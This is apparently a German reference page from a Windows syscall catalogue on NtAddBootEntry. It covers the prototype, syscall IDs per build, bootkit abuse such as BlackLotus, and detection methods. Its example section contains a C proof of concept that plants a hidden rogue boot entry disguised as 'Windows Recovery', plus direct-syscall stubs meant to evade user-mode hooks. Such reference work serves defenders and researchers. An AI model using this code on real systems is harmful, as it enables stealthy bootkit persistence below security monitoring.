> Windows Syscalls
ntoskrnl.exeT1542.003T1542T1106

NtAddBootEntry

Registriert einen neuen BOOT_ENTRY in der Boot-Konfigurationsdatenbank (BCD) und liefert die zugewiesene ID zurück.

Prototyp

NTSTATUS NtAddBootEntry(
  PBOOT_ENTRY BootEntry,
  PULONG      Id
);

Argumente

NameTypeDirDescription
BootEntryPBOOT_ENTRYinZeiger auf eine BOOT_ENTRY-Struktur, die die zu registrierende Firmware-Bootoption beschreibt (FriendlyName, BootFilePath, OsOptions-Blob).
IdPULONGoutErhält die vom BCD vergebene Kennung für den neuen Eintrag. Auf UEFI-Systemen als EFI-Boot####-Variable gespeichert.

Syscall-IDs pro Windows-Version

Windows-VersionSyscall-IDBuild
Win10 15070x68win10-1507
Win10 16070x68win10-1607
Win10 17030x69win10-1703
Win10 17090x69win10-1709
Win10 18030x69win10-1803
Win10 18090x69win10-1809
Win10 19030x69win10-1903
Win10 19090x69win10-1909
Win10 20040x6Awin10-2004
Win10 20H20x6Awin10-20h2
Win10 21H10x6Awin10-21h1
Win10 21H20x6Awin10-21h2
Win10 22H20x6Awin10-22h2
Win11 21H20x6Awin11-21h2
Win11 22H20x6Awin11-22h2
Win11 23H20x6Awin11-23h2
Win11 24H20x6Awin11-24h2
Server 20160x68winserver-2016
Server 20190x69winserver-2019
Server 20220x6Awinserver-2022
Server 20250x6Awinserver-2025

Kernel-Modul

ntoskrnl.exeNtAddBootEntry

Verwandte APIs

BcdAddBootEntry (bcd.dll)BcdOpenStorebcdedit.exe /createSetFirmwareEnvironmentVariableWNtSetSystemEnvironmentValueExNtModifyBootEntryNtDeleteBootEntryNtSetBootEntryOrder

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 6A 00 00 00      mov eax, 0x6A
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtAddBootEntry ist die Kernel-Mechanik hinter `bcdedit /create` und `BcdAddBootEntry` (bcd.dll). Auf Legacy-BIOS-Systemen bearbeitet sie die BCD-Hive `\Device\HarddiskVolume1\Boot\BCD`; auf UEFI materialisiert sie eine EFI-`Boot####`-Variable über `HalSetEnvironmentVariableEx`. Beide Pfade erfordern **SeSystemEnvironmentPrivilege**, das nur erhöhte Administratoren halten. Die BOOT_ENTRY-Struktur enthält ein längenvariables `OsOptionsLength`-Blob, dessen erstes DWORD eine Signatur ist — `WINDOWS_OS_OPTIONS_SIGNATURE` ("WINDOWS") für OS-Loader-Einträge — auf UEFI direkt ins NVRAM gespiegelt.

Häufige Malware-Nutzung

Bootkits nutzen NtAddBootEntry (oder `BcdAddBootEntry`/Roh-NVRAM-Schreibvorgänge), um einen bösartigen Bootpfad zu installieren, der Angreifercode **vor dem Windows-Kernel lädt — also vor jeglicher Kernel-Telemetrie, PatchGuard oder DSE-Prüfung**. Klassisches Muster: einen signierten-aber-verwundbaren Bootloader ablegen (oder einen unsignierten auf Zielen mit deaktiviertem Secure Boot), via NtAddBootEntry registrieren und dann NtSetBootEntryOrder aufrufen, um ihn an die erste Stelle zu setzen. BlackLotus (2022) verkettete CVE-2022-21894 „Baton Drop" gegen einen verwundbaren bootmgfw, um Secure Boot zu umgehen, und persistierte genau über diese Primitive. ESPecter und CosmicStrand erreichen dasselbe Ziel auf Firmware/EFI-Ebene.

Erkennungs­möglichkeiten

Der ETW-Provider **Microsoft-Windows-Kernel-Boot** ({02012a3b-d8c4-4d4e-b9c2-1edc4f8c4a30}) erzeugt Events bei BCD-Mutationen. Registry-Monitoring von `HKLM\BCD00000000` (eingehängt von der EFI-Systempartition) erfasst Änderungen im OS; Sysmon Event ID 13 mit BCD-Pfadfilter ist das einfachste Deployment. Auf UEFI zusätzlich `HKLM\SYSTEM\CurrentControlSet\Control\SecureBoot\State` beobachten und `SetFirmwareEnvironmentVariable*`-Aufrufe via Event ID 4673 (Privilegnutzung, SeSystemEnvironmentPrivilege) auditieren. Eine defensive Baseline per geplantem `bcdedit /enum FIRMWARE`-Hashvergleich fängt schleichende Ergänzungen ab. Secure Boot mit aktueller **DBX**-Revocation-Liste neutralisiert BlackLotus-artigen bootmgr-Missbrauch.

Direkte Syscall-Beispiele

asmx64 direct stub (Win11 24H2, SSN 0x6A)

; Direct syscall stub for NtAddBootEntry
; Requires SeSystemEnvironmentPrivilege; on UEFI also writes to NVRAM.
NtAddBootEntry PROC
    mov  r10, rcx          ; PBOOT_ENTRY
    mov  eax, 6Ah          ; SSN, Win11 24H2
    syscall
    ret
NtAddBootEntry ENDP

cRegister a rogue OS loader entry (PoC, requires SeSystemEnvironmentPrivilege + bypassed Secure Boot)

// PoC only: registers a BOOT_ENTRY that loads \EFI\evil\bootx64.efi.
// Practical exploitation against modern Windows still needs a Secure Boot bypass
// (e.g. a DBX-unrevoked vulnerable shim/bootmgr).
#include <windows.h>
#include <winnt.h>

typedef struct _FILE_PATH {
    ULONG Version;
    ULONG Length;
    ULONG Type;
    UCHAR FilePath[1];
} FILE_PATH, *PFILE_PATH;

typedef struct _BOOT_ENTRY {
    ULONG Version;
    ULONG Length;
    ULONG Id;
    ULONG Attributes;
    ULONG FriendlyNameOffset;
    ULONG BootFilePathOffset;
    ULONG OsOptionsLength;
    UCHAR OsOptions[1];
} BOOT_ENTRY, *PBOOT_ENTRY;

extern NTSTATUS NTAPI NtAddBootEntry(PBOOT_ENTRY, PULONG);

int plant_rogue(void) {
    // Enable SeSystemEnvironmentPrivilege first (omitted for brevity).
    BYTE buf[512] = {0};
    PBOOT_ENTRY be = (PBOOT_ENTRY)buf;
    be->Version    = 1;
    be->Length     = sizeof(buf);
    be->Attributes = 0; // no BOOT_ENTRY_ATTRIBUTE_ACTIVE -> stealthier first stage
    be->FriendlyNameOffset = FIELD_OFFSET(BOOT_ENTRY, OsOptions);
    wcscpy_s((wchar_t*)(buf + be->FriendlyNameOffset), 32, L"Windows Recovery");
    ULONG id = 0;
    return NtAddBootEntry(be, &id);
}

rustwindows-sys + naked direct syscall

// Cargo: windows-sys = "0.59"
// Bypasses the bcd.dll wrapper to dodge user-mode hooks; kernel ETW still fires.
use std::arch::asm;

#[unsafe(naked)]
unsafe extern "system" fn nt_add_boot_entry(_entry: *mut u8, _id: *mut u32) -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x6A",   // Win11 24H2 SSN
        "syscall",
        "ret",
        options(noreturn),
    );
}

MITRE ATT&CK-Mappings

Last verified: 2026-05-20